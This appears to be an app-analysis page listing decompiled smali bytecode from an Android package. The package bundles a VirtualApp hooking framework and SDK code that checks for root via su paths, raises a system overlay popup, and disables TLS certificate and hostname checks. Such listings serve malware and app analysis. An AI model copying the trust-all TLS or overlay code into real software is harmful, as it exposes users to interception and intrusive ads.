                              7invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              9invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              10new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              12const-string v1, "cancelToast"
                              14invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              16invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              17sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              18const/16 v1, 0x18
                              19if-lt v0, v1, :cond_59
                              20new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              22const-string v1, "removeAutomaticZenRules"
                              24invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              26invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              27new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              29const-string v1, "getImportance"
                              31invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              33invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              34new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              36const-string v1, "areNotificationsEnabled"
                              38invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              40invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              41new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              43const-string v1, "setNotificationPolicy"
                              45invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              47invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              48new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              50const-string v1, "getNotificationPolicy"
                              52invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              54invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              55new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              57const-string v1, "isNotificationPolicyAccessGrantedForPackage"
                              59invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              61invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              62cond_59:
                              63const-string v0, "samsung"
                              65sget-object v1, Landroid/os/Build;->BRAND:Ljava/lang/String;
                              67invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              68move-result v0
                              69if-nez v0, :cond_6d
                              71const-string v0, "samsung"
                              73sget-object v1, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              75invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              76move-result v0
                              77if-eqz v0, :cond_77
                              78cond_6d: new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              80const-string v1, "removeEdgeNotification"
                              82invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              84invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/notification/NotificationManagerStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              85cond_77: return-void
                              Cross References
                              APIs
                              • java.lang.Boolean.booleanValue
                              • java.lang.Boolean.valueOf
                              • android.content.Context.getApplicationContext
                              • com.omgSdk.andoclib.b$1.<init>
                              • android.content.Context.registerReceiver
                              • android.content.Context.getSystemService
                              • android.view.WindowManager$LayoutParams.<init>
                              • android.view.WindowManager.addView
                              Strings
                              • return cause already shown
                              • showPopupWindow
                              • window
                              • add view
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, -0x2
                              3sget-object v0, Lcom/omgSdk/andoclib/b;->a:Ljava/lang/Boolean;
                              5invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                              6move-result v0
                              7if-eqz v0, :cond_10
                              9const-string/jumbo v0, "return cause already shown"
                              11invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              12goto_f: return-void
                              13cond_10: const/4 v0, 0x1
                              15invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              16move-result-object v0
                              17sput-object v0, Lcom/omgSdk/andoclib/b;->a:Ljava/lang/Boolean;
                              19const-string/jumbo v0, "showPopupWindow"
                              21invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              23invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                              24move-result-object v0
                              25sput-object v0, Lcom/omgSdk/andoclib/b;->d:Landroid/content/Context;
                              27sget-object v0, Lcom/omgSdk/andoclib/b;->g:Landroid/content/BroadcastReceiver;
                              28if-nez v0, :cond_2e
                              29new-instance v0, Lcom/omgSdk/andoclib/b$1;
                              31invoke-direct {v0}, Lcom/omgSdk/andoclib/b$1;-><init>()V
                              32sput-object v0, Lcom/omgSdk/andoclib/b;->g:Landroid/content/BroadcastReceiver;
                              33cond_2e:
                              34sget-object v0, Lcom/omgSdk/andoclib/b;->d:Landroid/content/Context;
                              36sget-object v1, Lcom/omgSdk/andoclib/b;->g:Landroid/content/BroadcastReceiver;
                              38sget-object v2, Lcom/omgSdk/andoclib/b;->f:Landroid/content/IntentFilter;
                              40invoke-virtual {v0, v1, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                              42sget-object v0, Lcom/omgSdk/andoclib/b;->d:Landroid/content/Context;
                              44const-string/jumbo v1, "window"
                              46invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              47move-result-object v0
                              48check-cast v0, Landroid/view/WindowManager;
                              49sput-object v0, Lcom/omgSdk/andoclib/b;->c:Landroid/view/WindowManager;
                              51invoke-static {p0}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;)Landroid/view/View;
                              52move-result-object v0
                              53sput-object v0, Lcom/omgSdk/andoclib/b;->b:Landroid/view/View;
                              54new-instance v0, Landroid/view/WindowManager$LayoutParams;
                              56invoke-direct {v0}, Landroid/view/WindowManager$LayoutParams;-><init>()V
                              57const/16 v1, 0x7d3
                              58iput v1, v0, Landroid/view/WindowManager$LayoutParams;->type:I
                              59const/high16 v1, 0x20000
                              60iput v1, v0, Landroid/view/WindowManager$LayoutParams;->flags:I
                              61const/4 v1, -0x3
                              62iput v1, v0, Landroid/view/WindowManager$LayoutParams;->format:I
                              63iput v3, v0, Landroid/view/WindowManager$LayoutParams;->width:I
                              64iput v3, v0, Landroid/view/WindowManager$LayoutParams;->height:I
                              65const/16 v1, 0x11
                              66iput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
                              68sget-object v1, Lcom/omgSdk/andoclib/b;->c:Landroid/view/WindowManager;
                              70sget-object v2, Lcom/omgSdk/andoclib/b;->b:Landroid/view/View;
                              72invoke-interface {v1, v2, v0}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                              74const-string/jumbo v0, "add view"
                              76invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              77goto/16 :goto_f
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              Strings
                              • /system/bin/
                              • /system/xbin/
                              • /system/sbin/
                              • /sbin/
                              • /vendor/bin/
                              • su
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x1
                              2const/4 v1, 0x0
                              3sget-byte v0, Lsdk/nicro/lu/s$a;->b:B
                              4const/4 v2, -0x1
                              5if-eq v0, v2, :cond_a
                              6sget-byte v0, Lsdk/nicro/lu/s$a;->b:B
                              7goto_9: return v0
                              8cond_a: const/4 v0, 0x5
                              9new-array v2, v0, [Ljava/lang/String;
                              11const-string/jumbo v0, "/system/bin/"
                              12aput-object v0, v2, v1
                              14const-string/jumbo v0, "/system/xbin/"
                              15aput-object v0, v2, v3
                              16const/4 v0, 0x2
                              18const-string/jumbo v3, "/system/sbin/"
                              19aput-object v3, v2, v0
                              20const/4 v0, 0x3
                              22const-string/jumbo v3, "/sbin/"
                              23aput-object v3, v2, v0
                              24const/4 v0, 0x4
                              26const-string/jumbo v3, "/vendor/bin/"
                              27aput-object v3, v2, v0
                              28move v0, v1
                              29try_start_2a: array-length v3, v2
                              30if-ge v0, v3, :cond_5a
                              31new-instance v3, Ljava/io/File;
                              32new-instance v4, Ljava/lang/StringBuilder;
                              34invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              35aget-object v5, v2, v0
                              37invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              38move-result-object v4
                              40const-string/jumbo v5, "su"
                              42invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              43move-result-object v4
                              45invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              46move-result-object v4
                              48invoke-direct {v3, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              49if-eqz v3, :cond_56
                              51invoke-virtual {v3}, Ljava/io/File;->exists()Z
                              52move-result v3
                              53if-eqz v3, :cond_56
                              54const/4 v0, 0x1
                              55sput-byte v0, Lsdk/nicro/lu/s$a;->b:B
                              56sget-byte v0, Lsdk/nicro/lu/s$a;->b:B
                              57try_end_55: goto/16 :goto_9
                              58cond_56: add-int/lit8 v0, v0, 0x1
                              59goto/16 :goto_2a
                              60catch_59: move-exception v0
                              61cond_5a: sput-byte v1, Lsdk/nicro/lu/s$a;->b:B
                              62sget-byte v0, Lsdk/nicro/lu/s$a;->b:B
                              63goto/16 :goto_9
                              Cross References
                              APIs
                              • java.net.URL.getProtocol
                              • java.lang.String.equals
                              • java.net.URL.openConnection
                              • java.net.URL.openConnection
                              • javax.net.ssl.HttpsURLConnection.setHostnameVerifier
                              • javax.net.ssl.SSLContext.getInstance
                              • java.security.SecureRandom.<init>
                              • javax.net.ssl.SSLContext.init
                              • javax.net.ssl.SSLContext.getSocketFactory
                              • javax.net.ssl.HttpsURLConnection.setSSLSocketFactory
                              Strings
                              • http
                              • TLS
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              3invoke-virtual {p1}, Ljava/net/URL;->getProtocol()Ljava/lang/String;
                              4move-result-object v0
                              6const-string/jumbo v1, "http"
                              8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v0
                              10if-eqz v0, :cond_15
                              12invoke-virtual {p1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              13move-result-object v0
                              14check-cast v0, Ljava/net/HttpURLConnection;
                              15goto_14: return-object v0
                              16cond_15:
                              17invoke-virtual {p1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              18move-result-object v0
                              19check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                              20new-instance v1, Lsdk/nicro/lu/a$2;
                              22invoke-direct {v1, p0}, Lsdk/nicro/lu/a$2;-><init>(Lsdk/nicro/lu/a;)V
                              24invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                              26sget-object v1, Lsdk/nicro/lu/a;->p:Ljavax/net/ssl/SSLContext;
                              27if-nez v1, :cond_45
                              29const-string/jumbo v1, "TLS"
                              31invoke-static {v1}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext;
                              32move-result-object v1
                              33sput-object v1, Lsdk/nicro/lu/a;->p:Ljavax/net/ssl/SSLContext;
                              35sget-object v1, Lsdk/nicro/lu/a;->p:Ljavax/net/ssl/SSLContext;
                              36const/4 v2, 0x1
                              37new-array v2, v2, [Ljavax/net/ssl/TrustManager;
                              38const/4 v3, 0x0
                              39new-instance v4, Lsdk/nicro/lu/a$a;
                              41invoke-direct {v4, v5}, Lsdk/nicro/lu/a$a;-><init>(Lsdk/nicro/lu/a$1;)V
                              42aput-object v4, v2, v3
                              43new-instance v3, Ljava/security/SecureRandom;
                              45invoke-direct {v3}, Ljava/security/SecureRandom;-><init>()V
                              47invoke-virtual {v1, v5, v2, v3}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V
                              48cond_45:
                              49sget-object v1, Lsdk/nicro/lu/a;->p:Ljavax/net/ssl/SSLContext;
                              51invoke-virtual {v1}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory;
                              52move-result-object v1
                              54invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V
                              55goto/16 :goto_14
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • java.lang.IllegalArgumentException.<init>
                              • java.lang.IllegalArgumentException.<init>
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAuthenticatorInfo
                              • android.accounts.IAccountManagerResponse.onError
                              • android.os.RemoteException.printStackTrace
                              • android.accounts.Account.name:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService$3.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService$3.bind
                              Strings
                              • response is null
                              • account is null
                              • authTokenType is null
                              • account.type does not exist
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p2, :cond_a
                              2new-instance v0, Ljava/lang/IllegalArgumentException;
                              4const-string v1, "response is null"
                              6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              7throw v0
                              8cond_a: if-nez p3, :cond_14
                              9new-instance v0, Ljava/lang/IllegalArgumentException;
                              11const-string v1, "account is null"
                              13invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              14throw v0
                              15cond_14: if-nez p4, :cond_1e
                              16new-instance v0, Ljava/lang/IllegalArgumentException;
                              18const-string v1, "authTokenType is null"
                              20invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              21throw v0
                              22cond_1e:
                              23iget-object v0, p3, Landroid/accounts/Account;->type:Ljava/lang/String;
                              25invoke-direct {p0, v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAuthenticatorInfo(Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;
                              26move-result-object v4
                              27if-nez v4, :cond_32
                              28const/4 v0, 0x7
                              29try_start_27:
                              30const-string v1, "account.type does not exist"
                              32invoke-interface {p2, v0, v1}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              33goto_2c: return-void
                              34catch_2d: move-exception v0
                              36invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              37goto/16 :goto_2c
                              38cond_32: new-instance v0, Lcom/lody/virtual/server/accounts/VAccountManagerService$3;
                              39const/4 v6, 0x0
                              41iget-object v7, p3, Landroid/accounts/Account;->name:Ljava/lang/String;
                              42move-object v1, p0
                              43move-object v2, p2
                              44move v3, p1
                              45move/from16 v5, p5
                              46move-object v8, p3
                              47move-object v9, p4
                              48move-object/from16 v10, p6
                              50invoke-direct/range {v0 .. v10}, Lcom/lody/virtual/server/accounts/VAccountManagerService$3;-><init>(Lcom/lody/virtual/server/accounts/VAccountManagerService;Landroid/accounts/IAccountManagerResponse;ILcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;ZZLjava/lang/String;Landroid/accounts/Account;Ljava/lang/String;Landroid/os/Bundle;)V
                              52invoke-virtual {v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService$3;->bind()V
                              53goto/16 :goto_2c
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • java.lang.IllegalArgumentException.<init>
                              • java.lang.IllegalArgumentException.<init>
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAuthenticatorInfo
                              • android.accounts.IAccountManagerResponse.onError
                              • android.os.RemoteException.printStackTrace
                              • android.accounts.Account.name:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService$2.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService$2.bind
                              Strings
                              • response is null
                              • account is null
                              • features is null
                              • account.type does not exist
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p2, :cond_a
                              2new-instance v0, Ljava/lang/IllegalArgumentException;
                              4const-string v1, "response is null"
                              6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              7throw v0
                              8cond_a: if-nez p3, :cond_14
                              9new-instance v0, Ljava/lang/IllegalArgumentException;
                              11const-string v1, "account is null"
                              13invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              14throw v0
                              15cond_14: if-nez p4, :cond_1e
                              16new-instance v0, Ljava/lang/IllegalArgumentException;
                              18const-string v1, "features is null"
                              20invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              21throw v0
                              22cond_1e:
                              23iget-object v0, p3, Landroid/accounts/Account;->type:Ljava/lang/String;
                              25invoke-direct {p0, v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAuthenticatorInfo(Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;
                              26move-result-object v4
                              27if-nez v4, :cond_32
                              28const/4 v0, 0x7
                              29try_start_27:
                              30const-string v1, "account.type does not exist"
                              32invoke-interface {p2, v0, v1}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              33goto_2c: return-void
                              34catch_2d: move-exception v0
                              36invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              37goto/16 :goto_2c
                              38cond_32: new-instance v0, Lcom/lody/virtual/server/accounts/VAccountManagerService$2;
                              39const/4 v5, 0x0
                              40const/4 v6, 0x1
                              42iget-object v7, p3, Landroid/accounts/Account;->name:Ljava/lang/String;
                              43move-object v1, p0
                              44move-object v2, p2
                              45move v3, p1
                              46move-object v8, p3
                              47move-object v9, p4
                              49invoke-direct/range {v0 .. v9}, Lcom/lody/virtual/server/accounts/VAccountManagerService$2;-><init>(Lcom/lody/virtual/server/accounts/VAccountManagerService;Landroid/accounts/IAccountManagerResponse;ILcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;ZZLjava/lang/String;Landroid/accounts/Account;[Ljava/lang/String;)V
                              51invoke-virtual {v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService$2;->bind()V
                              52goto/16 :goto_2c
                              APIs
                              • android.system.Os.symlink
                              • java.lang.Runtime.getRuntime
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Runtime.exec
                              • java.lang.Process.waitFor
                              Strings
                              • ln -s
                              Position Instruction Meta Information
                              0.prologue
                              1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              2const/16 v1, 0x15
                              3if-lt v0, v1, :cond_a
                              5invoke-static {p0, p1}, Landroid/system/Os;->symlink(Ljava/lang/String;Ljava/lang/String;)V
                              6goto_9: return-void
                              7cond_a:
                              8invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              9move-result-object v0
                              10new-instance v1, Ljava/lang/StringBuilder;
                              12invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              14const-string v2, "ln -s "
                              16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              17move-result-object v1
                              19invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              20move-result-object v1
                              22const-string v2, " "
                              24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              25move-result-object v1
                              27invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              28move-result-object v1
                              30invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              31move-result-object v1
                              33invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              34move-result-object v0
                              36invoke-virtual {v0}, Ljava/lang/Process;->waitFor()I
                              37goto/16 :goto_9
                              APIs
                              • java.lang.Thread.currentThread
                              • java.lang.Thread.getStackTrace
                              • java.lang.StackTraceElement.isNativeMethod
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.ClassLoader.loadClass
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.getModifiers
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Class.isInterface
                              • java.lang.Class.isAssignableFrom
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Proxy.newProxyInstance
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2const/4 v3, 0x0
                              3const/4 v12, 0x1
                              5iget-object v0, p0, Lcom/lody/virtual/client/hook/secondary/StubBinder;->mInterface:Landroid/os/IInterface;
                              6if-nez v0, :cond_8c
                              8invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                              9move-result-object v0
                              11invoke-virtual {v0}, Ljava/lang/Thread;->getStackTrace()[Ljava/lang/StackTraceElement;
                              12move-result-object v6
                              13if-eqz v6, :cond_14
                              14array-length v0, v6
                              15if-gt v0, v12, :cond_16
                              16cond_14: move-object v0, v3
                              17goto_15: return-object v0
                              18cond_16: array-length v7, v6
                              19move v4, v5
                              20move-object v1, v3
                              21move-object v0, v3
                              22goto_1a: if-ge v4, v7, :cond_74
                              23aget-object v2, v6, v4
                              25invoke-virtual {v2}, Ljava/lang/StackTraceElement;->isNativeMethod()Z
                              26move-result v8
                              27if-eqz v8, :cond_28
                              28goto_24: add-int/lit8 v2, v4, 0x1
                              29move v4, v2
                              30goto/16 :goto_1a
                              31cond_28:
                              32iget-object v8, p0, Lcom/lody/virtual/client/hook/secondary/StubBinder;->mClassLoader:Ljava/lang/ClassLoader;
                              34invoke-virtual {v2}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              35move-result-object v9
                              37invoke-virtual {v8, v9}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              38move-result-object v8
                              40invoke-virtual {v2}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              41move-result-object v2
                              42const/4 v9, 0x1
                              43new-array v9, v9, [Ljava/lang/Class;
                              44const/4 v10, 0x0
                              45const-class v11, Landroid/os/IBinder;
                              46aput-object v11, v9, v10
                              48invoke-virtual {v8, v2, v9}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              49move-result-object v8
                              51invoke-virtual {v8}, Ljava/lang/reflect/Method;->getModifiers()I
                              52move-result v2
                              53and-int/lit8 v2, v2, 0x8
                              54if-eqz v2, :cond_94
                              55const/4 v2, 0x1
                              57invoke-virtual {v8, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              59invoke-virtual {v8}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              60move-result-object v2
                              62invoke-virtual {v2}, Ljava/lang/Class;->isInterface()Z
                              63move-result v9
                              64if-eqz v9, :cond_94
                              65const-class v9, Landroid/os/IInterface;
                              67invoke-virtual {v9, v2}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                              68try_end_5d: move-result v9
                              69if-eqz v9, :cond_94
                              70const/4 v0, 0x0
                              71const/4 v9, 0x1
                              72try_start_62: new-array v9, v9, [Ljava/lang/Object;
                              73const/4 v10, 0x0
                              75iget-object v11, p0, Lcom/lody/virtual/client/hook/secondary/StubBinder;->mBase:Landroid/os/IBinder;
                              76aput-object v11, v9, v10
                              78invoke-virtual {v8, v0, v9}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              79move-result-object v0
                              80check-cast v0, Landroid/os/IInterface;
                              81try_end_6f: move-object v1, v2
                              82goto_70: move-object v13, v0
                              83move-object v0, v1
                              84move-object v1, v13
                              85goto/16 :goto_24
                              86cond_74: if-eqz v0, :cond_78
                              87if-nez v1, :cond_7a
                              88cond_78: move-object v0, v3
                              89goto/16 :goto_15
                              90cond_7a:
                              91invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/client/hook/secondary/StubBinder;->createHandler(Ljava/lang/Class;Landroid/os/IInterface;)Ljava/lang/reflect/InvocationHandler;
                              92move-result-object v1
                              94iget-object v2, p0, Lcom/lody/virtual/client/hook/secondary/StubBinder;->mClassLoader:Ljava/lang/ClassLoader;
                              95new-array v3, v12, [Ljava/lang/Class;
                              96aput-object v0, v3, v5
                              98invoke-static {v2, v3, v1}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                              99move-result-object v0
                              100check-cast v0, Landroid/os/IInterface;
                              101iput-object v0, p0, Lcom/lody/virtual/client/hook/secondary/StubBinder;->mInterface:Landroid/os/IInterface;
                              102cond_8c:
                              103iget-object v0, p0, Lcom/lody/virtual/client/hook/secondary/StubBinder;->mInterface:Landroid/os/IInterface;
                              104goto/16 :goto_15
                              105catch_8f: move-exception v2
                              106goto/16 :goto_24
                              107catch_91: move-exception v0
                              108move-object v0, v2
                              109goto/16 :goto_24
                              110cond_94: move-object v13, v1
                              111move-object v1, v0
                              112move-object v0, v13
                              113goto/16 :goto_70
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredClasses
                              • java.lang.Class.getSimpleName
                              • java.lang.String.contains
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • TranslucentConversionListener
                              • convertToTranslucent
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v0, 0x0
                              3try_start_2: const-class v2, Landroid/app/Activity;
                              5invoke-virtual {v2}, Ljava/lang/Class;->getDeclaredClasses()[Ljava/lang/Class;
                              6move-result-object v3
                              7array-length v4, v3
                              8move v2, v0
                              9goto_a: if-ge v2, v4, :cond_69
                              10aget-object v0, v3, v2
                              12invoke-virtual {v0}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              13move-result-object v5
                              15const-string v6, "TranslucentConversionListener"
                              17invoke-virtual {v5, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              18move-result v5
                              19if-eqz v5, :cond_46
                              20goto_1a: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              21const/16 v2, 0x15
                              22if-lt v1, v2, :cond_4a
                              23const-class v1, Landroid/app/Activity;
                              25const-string v2, "convertToTranslucent"
                              26const/4 v3, 0x2
                              27new-array v3, v3, [Ljava/lang/Class;
                              28const/4 v4, 0x0
